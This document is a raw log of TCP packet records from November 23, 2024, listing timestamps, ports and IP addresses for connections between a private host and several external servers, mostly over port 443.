Nov 23, 2024 21:59:27.808944941 CET	443	49772	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:27.808996916 CET	443	49772	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:27.809144974 CET	49772	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:27.809175014 CET	49772	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:27.809175014 CET	49772	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:27.809190989 CET	443	49772	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:27.809199095 CET	443	49772	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:27.811723948 CET	49781	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:27.811743021 CET	443	49781	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:27.811798096 CET	49781	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:27.812031984 CET	49781	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:27.812042952 CET	443	49781	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:27.813311100 CET	49782	443	192.168.2.6	172.217.17.78
Nov 23, 2024 21:59:27.813322067 CET	443	49782	172.217.17.78	192.168.2.6
Nov 23, 2024 21:59:27.813378096 CET	49782	443	192.168.2.6	172.217.17.78
Nov 23, 2024 21:59:27.813760996 CET	49782	443	192.168.2.6	172.217.17.78
Nov 23, 2024 21:59:27.813771009 CET	443	49782	172.217.17.78	192.168.2.6
Nov 23, 2024 21:59:27.856909990 CET	443	49773	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:27.857577085 CET	49773	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:27.857597113 CET	443	49773	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:27.858043909 CET	49773	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:27.858051062 CET	443	49773	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:27.968511105 CET	443	49771	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:27.968569040 CET	443	49771	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:27.968662024 CET	49771	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:27.968857050 CET	49771	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:27.968878984 CET	443	49771	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:27.968890905 CET	49771	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:27.968899965 CET	443	49771	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:27.972764015 CET	49783	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:27.972783089 CET	443	49783	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:27.972953081 CET	49783	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:27.973202944 CET	49783	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:27.973215103 CET	443	49783	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:28.014074087 CET	443	49775	23.218.208.109	192.168.2.6
Nov 23, 2024 21:59:28.014142990 CET	443	49775	23.218.208.109	192.168.2.6
Nov 23, 2024 21:59:28.014254093 CET	49775	443	192.168.2.6	23.218.208.109
Nov 23, 2024 21:59:28.028552055 CET	49775	443	192.168.2.6	23.218.208.109
Nov 23, 2024 21:59:28.028552055 CET	49775	443	192.168.2.6	23.218.208.109
Nov 23, 2024 21:59:28.028568029 CET	443	49775	23.218.208.109	192.168.2.6
Nov 23, 2024 21:59:28.028579950 CET	443	49775	23.218.208.109	192.168.2.6
Nov 23, 2024 21:59:28.067430973 CET	49784	443	192.168.2.6	23.218.208.109
Nov 23, 2024 21:59:28.067445040 CET	443	49784	23.218.208.109	192.168.2.6
Nov 23, 2024 21:59:28.067642927 CET	49784	443	192.168.2.6	23.218.208.109
Nov 23, 2024 21:59:28.067969084 CET	49784	443	192.168.2.6	23.218.208.109
Nov 23, 2024 21:59:28.067980051 CET	443	49784	23.218.208.109	192.168.2.6
Nov 23, 2024 21:59:28.131886959 CET	80	49777	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:28.132051945 CET	49777	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:28.255026102 CET	49777	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:28.276885986 CET	49745	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:28.277076960 CET	49782	443	192.168.2.6	172.217.17.78
Nov 23, 2024 21:59:28.374448061 CET	80	49777	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:28.442485094 CET	443	49773	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:28.442584038 CET	443	49773	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:28.442646027 CET	49773	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:28.442862988 CET	49773	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:28.442881107 CET	443	49773	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:28.445636988 CET	49785	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:28.445676088 CET	443	49785	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:28.445741892 CET	49785	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:28.445899963 CET	49785	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:28.445911884 CET	443	49785	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:29.213139057 CET	80	49777	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:29.213238955 CET	49777	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:29.367607117 CET	443	49778	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:29.376390934 CET	49778	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:29.376421928 CET	443	49778	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:29.376997948 CET	49778	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:29.377003908 CET	443	49778	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:29.548182964 CET	443	49784	23.218.208.109	192.168.2.6
Nov 23, 2024 21:59:29.548257113 CET	49784	443	192.168.2.6	23.218.208.109
Nov 23, 2024 21:59:29.563591003 CET	49784	443	192.168.2.6	23.218.208.109
Nov 23, 2024 21:59:29.563611031 CET	443	49784	23.218.208.109	192.168.2.6
Nov 23, 2024 21:59:29.563877106 CET	443	49784	23.218.208.109	192.168.2.6
Nov 23, 2024 21:59:29.565136909 CET	49784	443	192.168.2.6	23.218.208.109
Nov 23, 2024 21:59:29.611327887 CET	443	49784	23.218.208.109	192.168.2.6
Nov 23, 2024 21:59:29.719578028 CET	443	49780	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:29.728585958 CET	49780	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:29.728611946 CET	443	49780	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:29.729022026 CET	49780	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:29.729028940 CET	443	49780	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:29.812525034 CET	443	49778	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:29.812597990 CET	443	49778	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:29.812647104 CET	49778	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:29.831101894 CET	443	49781	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:29.841506958 CET	49781	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:29.841528893 CET	443	49781	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:29.843614101 CET	49781	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:29.843619108 CET	443	49781	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:29.844999075 CET	49778	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:29.845019102 CET	443	49778	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:29.845030069 CET	49778	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:29.845036030 CET	443	49778	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:29.905077934 CET	443	49783	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:29.909920931 CET	49783	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:29.909929991 CET	443	49783	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:29.910562992 CET	49783	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:29.910567999 CET	443	49783	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:29.910762072 CET	49786	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:29.910795927 CET	443	49786	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:29.910933018 CET	49786	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:29.911082029 CET	49786	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:29.911096096 CET	443	49786	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:30.080784082 CET	443	49784	23.218.208.109	192.168.2.6
Nov 23, 2024 21:59:30.080859900 CET	443	49784	23.218.208.109	192.168.2.6
Nov 23, 2024 21:59:30.080971956 CET	49784	443	192.168.2.6	23.218.208.109
Nov 23, 2024 21:59:30.101246119 CET	49784	443	192.168.2.6	23.218.208.109
Nov 23, 2024 21:59:30.101259947 CET	443	49784	23.218.208.109	192.168.2.6
Nov 23, 2024 21:59:30.101270914 CET	49784	443	192.168.2.6	23.218.208.109
Nov 23, 2024 21:59:30.101277113 CET	443	49784	23.218.208.109	192.168.2.6
Nov 23, 2024 21:59:30.166814089 CET	443	49780	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:30.166879892 CET	443	49780	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:30.167007923 CET	49780	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:30.167371988 CET	443	49785	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:30.181755066 CET	49780	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:30.181787014 CET	443	49780	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:30.181849003 CET	49780	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:30.181854963 CET	443	49780	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:30.182148933 CET	49785	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:30.182162046 CET	443	49785	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:30.182615995 CET	49785	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:30.182621002 CET	443	49785	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:30.190917015 CET	49787	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:30.190956116 CET	443	49787	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:30.191144943 CET	49787	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:30.191226959 CET	49787	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:30.191235065 CET	443	49787	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:30.284518003 CET	443	49781	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:30.284670115 CET	443	49781	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:30.284749031 CET	49781	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:30.301429033 CET	49781	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:30.301444054 CET	443	49781	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:30.301455021 CET	49781	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:30.301460028 CET	443	49781	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:30.340650082 CET	49788	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:30.340703011 CET	443	49788	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:30.340919018 CET	49788	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:30.351810932 CET	443	49783	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:30.351875067 CET	443	49783	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:30.351924896 CET	49783	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:30.457046032 CET	49788	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:30.457071066 CET	443	49788	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:30.458821058 CET	49783	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:30.458832026 CET	443	49783	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:30.458843946 CET	49783	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:30.458848953 CET	443	49783	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:30.515331030 CET	49789	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:30.515372992 CET	443	49789	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:30.515621901 CET	49789	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:30.519205093 CET	49789	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:30.519218922 CET	443	49789	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:30.602854967 CET	443	49785	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:30.602910042 CET	443	49785	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:30.603072882 CET	49785	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:30.673634052 CET	49785	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:30.673655987 CET	443	49785	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:30.673666000 CET	49785	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:30.673671961 CET	443	49785	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:30.819092989 CET	49790	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:30.819139004 CET	443	49790	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:30.819278002 CET	49790	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:30.822935104 CET	49790	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:30.822957993 CET	443	49790	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:31.631895065 CET	443	49786	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:31.680612087 CET	49786	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:31.695985079 CET	49786	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:31.695997953 CET	443	49786	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:31.696432114 CET	49786	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:31.696443081 CET	443	49786	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:31.981298923 CET	443	49787	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:32.010941029 CET	49797	443	192.168.2.6	94.245.104.56
Nov 23, 2024 21:59:32.010952950 CET	443	49797	94.245.104.56	192.168.2.6
Nov 23, 2024 21:59:32.011075974 CET	49797	443	192.168.2.6	94.245.104.56
Nov 23, 2024 21:59:32.023119926 CET	49787	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:32.030739069 CET	49787	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:32.030745983 CET	443	49787	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:32.031445980 CET	49787	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:32.031454086 CET	443	49787	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:32.036640882 CET	49797	443	192.168.2.6	94.245.104.56
Nov 23, 2024 21:59:32.036650896 CET	443	49797	94.245.104.56	192.168.2.6
Nov 23, 2024 21:59:32.037293911 CET	49706	443	192.168.2.6	20.190.147.7
Nov 23, 2024 21:59:32.037326097 CET	49706	443	192.168.2.6	20.190.147.7
Nov 23, 2024 21:59:32.109184027 CET	443	49786	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:32.109316111 CET	443	49786	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:32.109389067 CET	49786	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:32.117808104 CET	49786	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:32.117840052 CET	443	49786	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:32.117851973 CET	49786	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:32.117858887 CET	443	49786	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:32.158807039 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:32.158890009 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:32.158900976 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:32.158910990 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:32.158982992 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:32.168720007 CET	49798	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:32.168766022 CET	443	49798	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:32.169024944 CET	49798	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:32.171881914 CET	49798	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:32.171899080 CET	443	49798	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:32.268546104 CET	443	49788	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:32.327214003 CET	49788	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:32.327234030 CET	443	49788	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:32.327645063 CET	49788	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:32.327650070 CET	443	49788	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:32.465858936 CET	443	49789	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:32.498507977 CET	49789	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:32.498517990 CET	443	49789	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:32.499133110 CET	49789	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:32.499150991 CET	443	49789	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:32.687582970 CET	443	49787	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:32.687644958 CET	443	49787	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:32.687730074 CET	49787	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:32.728425980 CET	49787	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:32.728441954 CET	443	49787	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:32.755722046 CET	443	49788	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:32.755803108 CET	443	49788	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:32.757860899 CET	49788	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:32.859318972 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:32.859406948 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:32.859484911 CET	49706	443	192.168.2.6	20.190.147.7
Nov 23, 2024 21:59:32.863548994 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:32.865056038 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:32.865124941 CET	49706	443	192.168.2.6	20.190.147.7
Nov 23, 2024 21:59:32.865159035 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:32.873699903 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:32.873939991 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:32.873958111 CET	49706	443	192.168.2.6	20.190.147.7
Nov 23, 2024 21:59:32.882193089 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:32.882443905 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:32.882533073 CET	49706	443	192.168.2.6	20.190.147.7
Nov 23, 2024 21:59:32.890778065 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:32.893945932 CET	49706	443	192.168.2.6	20.190.147.7
Nov 23, 2024 21:59:32.900224924 CET	443	49790	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:32.910005093 CET	443	49789	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:32.910079956 CET	443	49789	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:32.910200119 CET	49789	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:32.947513103 CET	49790	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:33.197879076 CET	49788	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:33.197922945 CET	443	49788	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:33.197938919 CET	49788	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:33.197946072 CET	443	49788	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:33.217438936 CET	49790	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:33.217464924 CET	443	49790	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:33.218019009 CET	49790	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:33.218027115 CET	443	49790	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:33.218175888 CET	49789	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:33.218190908 CET	443	49789	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:33.218230009 CET	49789	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:33.218245029 CET	443	49789	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:33.225246906 CET	49799	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:33.225272894 CET	443	49799	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:33.225334883 CET	49799	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:33.226802111 CET	49800	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:33.226862907 CET	443	49800	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:33.226953983 CET	49800	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:33.228071928 CET	49801	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:33.228116035 CET	443	49801	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:33.228176117 CET	49801	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:33.228319883 CET	49799	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:33.228327990 CET	49801	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:33.228331089 CET	443	49799	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:33.228339911 CET	443	49801	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:33.228413105 CET	49800	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:33.228425980 CET	443	49800	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:33.574846983 CET	443	49790	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:33.574908972 CET	443	49790	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:33.574964046 CET	49790	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:33.628911972 CET	49790	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:33.628941059 CET	443	49790	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:33.628954887 CET	49790	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:33.628973007 CET	443	49790	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:33.781258106 CET	49803	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:33.781296968 CET	443	49803	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:33.781366110 CET	49803	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:33.820626974 CET	49803	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:33.820641041 CET	443	49803	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:33.966588974 CET	443	49797	94.245.104.56	192.168.2.6
Nov 23, 2024 21:59:33.968154907 CET	49797	443	192.168.2.6	94.245.104.56
Nov 23, 2024 21:59:33.968167067 CET	443	49797	94.245.104.56	192.168.2.6
Nov 23, 2024 21:59:33.969526052 CET	443	49797	94.245.104.56	192.168.2.6
Nov 23, 2024 21:59:33.969578981 CET	49797	443	192.168.2.6	94.245.104.56
Nov 23, 2024 21:59:33.971117973 CET	49797	443	192.168.2.6	94.245.104.56
Nov 23, 2024 21:59:33.971182108 CET	443	49797	94.245.104.56	192.168.2.6
Nov 23, 2024 21:59:33.971321106 CET	49797	443	192.168.2.6	94.245.104.56
Nov 23, 2024 21:59:33.971328020 CET	443	49797	94.245.104.56	192.168.2.6
Nov 23, 2024 21:59:34.134593964 CET	443	49798	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:34.158252001 CET	49797	443	192.168.2.6	94.245.104.56
Nov 23, 2024 21:59:34.187407970 CET	49798	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:34.187428951 CET	443	49798	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:34.187930107 CET	49798	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:34.187935114 CET	443	49798	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:34.216502905 CET	80	49777	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:34.216567039 CET	49777	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:34.464889050 CET	443	49797	94.245.104.56	192.168.2.6
Nov 23, 2024 21:59:34.465460062 CET	443	49797	94.245.104.56	192.168.2.6
Nov 23, 2024 21:59:34.465511084 CET	49797	443	192.168.2.6	94.245.104.56
Nov 23, 2024 21:59:34.473047972 CET	49797	443	192.168.2.6	94.245.104.56
Nov 23, 2024 21:59:34.473078012 CET	443	49797	94.245.104.56	192.168.2.6
Nov 23, 2024 21:59:34.473124027 CET	49797	443	192.168.2.6	94.245.104.56
Nov 23, 2024 21:59:34.473124027 CET	49797	443	192.168.2.6	94.245.104.56
Nov 23, 2024 21:59:34.593585014 CET	443	49798	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:34.593749046 CET	443	49798	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:34.593803883 CET	49798	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:34.599575996 CET	49798	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:34.599600077 CET	443	49798	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:34.599606037 CET	49798	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:34.599612951 CET	443	49798	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:34.602113008 CET	49777	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:34.602739096 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:34.603955030 CET	49810	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:34.603996992 CET	443	49810	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:34.604085922 CET	49810	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:34.606982946 CET	49810	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:34.607000113 CET	443	49810	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:34.721725941 CET	80	49777	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:34.722359896 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:34.722449064 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:34.725511074 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:34.725569963 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:34.845048904 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:34.845096111 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:34.845240116 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:34.845295906 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:34.877737045 CET	49812	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:34.877760887 CET	443	49812	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:34.877932072 CET	49812	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:34.878175974 CET	49812	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:34.878187895 CET	443	49812	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:34.947923899 CET	443	49799	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:34.948410034 CET	49799	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:34.948421001 CET	443	49799	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:34.948950052 CET	49799	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:34.948955059 CET	443	49799	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:35.021241903 CET	443	49800	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:35.022085905 CET	49800	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:35.022106886 CET	443	49800	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:35.022453070 CET	49800	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:35.022458076 CET	443	49800	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:35.077131033 CET	443	49801	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:35.077872038 CET	49801	443	192.168.2.6	13.107.246.63
